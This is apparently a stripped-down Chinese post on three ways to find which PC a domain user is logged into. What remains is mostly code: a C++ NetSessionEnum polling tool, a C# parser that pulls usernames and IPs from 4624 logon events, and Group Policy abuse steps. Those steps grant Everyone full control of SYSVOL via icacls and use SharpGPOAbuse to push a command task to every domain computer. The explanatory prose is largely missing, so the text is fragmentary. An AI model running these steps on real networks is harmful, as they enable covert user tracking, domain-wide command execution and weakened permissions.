域内定位个人PC的三种方式

query session

<pre class="brush:php;toolbar:false;">NET_API_STATUS NET_API_FUNCTION NetSessionEnum(  [in]      LMSTR   servername,  [in]      LMSTR   UncClientName,  [in]      LMSTR   username,  [in]      DWORD   level,  [out]     LPBYTE  *bufptr,  [in]      DWORD   prefmaxlen,  [out]     LPDWORD entriesread,  [out]     LPDWORD totalentries,  [in, out] LPDWORD resume_handle);

servername

servername

NERR_Success

ERROR_MORE_DATA

level

NetSessionEnum

IPC$

srvsvc

srvsvc

4b324fc8-1670-01d3-1278-5a47bf6ee188

NetSessionEnum

<pre class="brush:php;toolbar:false;">// FindADPC.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include <iostream>#ifndef UNICODE#define UNICODE#endif#pragma comment(lib, "Netapi32.lib")#pragma warning(disable:4996)#include <stdio.h>#include <assert.h>#include <windows.h> #include <lm.h>#include <ctime>int session_enum(LPTSTR pszServerName) {    NET_API_STATUS nStatus;    LPSESSION_INFO_10 pBuf = NULL;    LPSESSION_INFO_10 pTmpBuf;    DWORD dwLevel = 10;    DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;    DWORD dwEntriesRead = 0;    DWORD dwTotalEntries = 0;    DWORD dwResumeHandle = 0;    DWORD i;    DWORD dwTotalCount = 0;       do     {        nStatus = NetSessionEnum(pszServerName,            NULL,            NULL,            dwLevel,            (LPBYTE*)&pBuf,            dwPrefMaxLen,            &dwEntriesRead,            &dwTotalEntries,            &dwResumeHandle);        if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))        {            if ((pTmpBuf = pBuf) != NULL)            {                              for (i = 0; (i < dwEntriesRead); i++)                {                    assert(pTmpBuf != NULL);                    if (pTmpBuf == NULL)                    {                        fprintf(stderr, "An access violation has occurred
");                        break;                    }                                      SYSTEMTIME sys;                    GetLocalTime(&sys);                    char current_time[64] = { NULL };                    sprintf(current_time, "%4d-%02d-%02d %02d:%02d:%02d ", sys.wYear, sys.wMonth, sys.wDay, sys.wHour, sys.wMinute, sys.wSecond);                    printf("[%s]  [%ws]  [%ws]  [%ws]
", current_time, pszServerName, pTmpBuf->sesi10_cname, pTmpBuf->sesi10_username);                                       pTmpBuf++;                    dwTotalCount++;                }            }        }             else            fprintf(stderr, "A system error has occurred: %d
", nStatus);               if (pBuf != NULL)        {            NetApiBufferFree(pBuf);            pBuf = NULL;        }    }while (nStatus == ERROR_MORE_DATA);     if (pBuf != NULL)        NetApiBufferFree(pBuf);    return 0;}int wmain(int argc, wchar_t* argv[]){    if (argc == 1)     {        printf("
Using:
	 FindADPC.exe \\dc1 
");        return 0;    }    while (true)    {        for (size_t i = 0; i < argc; i++)        {            if (i == 0)             {                continue;            }            session_enum(argv[i]);        }        Sleep(5000);    }    return 0;}

<pre class="brush:php;toolbar:false;">using System;using System.Collections.Generic;using System.Diagnostics;using System.Linq;using System.Text;namespace EventLog4624{    class Program    {        static void Main(string[] args)        {            EventLog_4624();        }        public static string MidStrEx(string sourse, string startstr, string endstr)        {            string result = string.Empty;            int startindex, endindex;            startindex = sourse.IndexOf(startstr);            if (startindex == -1)                return result;            string tmpstr = sourse.Substring(startindex + startstr.Length);            endindex = tmpstr.IndexOf(endstr);            if (endindex == -1)                return result;            result = tmpstr.Remove(endindex);            return result;        }        public static void EventLog_4624()        {            EventLog log = new EventLog("Security");            var entries = log.Entries.Cast<EventLogEntry>().Where(x => x.InstanceId == 4624);            entries.Select(x => new            {                x.MachineName,                x.Site,                x.Source,                x.Message,                x.TimeGenerated            }).ToList();            foreach (EventLogEntry log1 in entries)            {                string text = log1.Message;                string ipaddress = MidStrEx(text, " 源网络地址: ", " 源端口:");                string username = MidStrEx(text, "新登录:", "进程信息:");                username = MidStrEx(username, " 帐户名:  ", " 帐户域:  ");                DateTime Time = log1.TimeGenerated;                if (ipaddress.Length >= 7)                {                    Console.WriteLine("
-----------------------------------");                    Console.WriteLine("Time: " + Time);                    Console.WriteLine("Username: " + username.Replace("
", "").Replace(" ", "").Replace("	", "").Replace("
", ""));                    Console.WriteLine("Remote IP: " + ipaddress.Replace("
", "").Replace(" ", "").Replace("	", "").Replace("
", ""));                }            }        }    }}

<pre class="brush:php;toolbar:false;">Import-Module GroupPolicy;new-gpo -name QueryDomainUser01

<pre class="brush:php;toolbar:false;">powershell Import-Module GroupPolicy;new-gplink -name QueryDomainUser01 -Target "dc=god,dc=org"

sysvol

<pre class="brush:php;toolbar:false;">icacls c:windowssysvol /grant Everyone:(OI)(CI)(F) /T

<pre class="brush:php;toolbar:false;">SharpGPOAbuse.exe --AddComputerTask --TaskName "QueryDomainUser001" --Author owa\administrator --Command "cmd.exe" --Arguments "cmd /c query user > \owasysvol%COMPUTERNAME%.txt" --GPOName "QueryDomainUser01"

<pre class="brush:php;toolbar:false;">gpupdate /force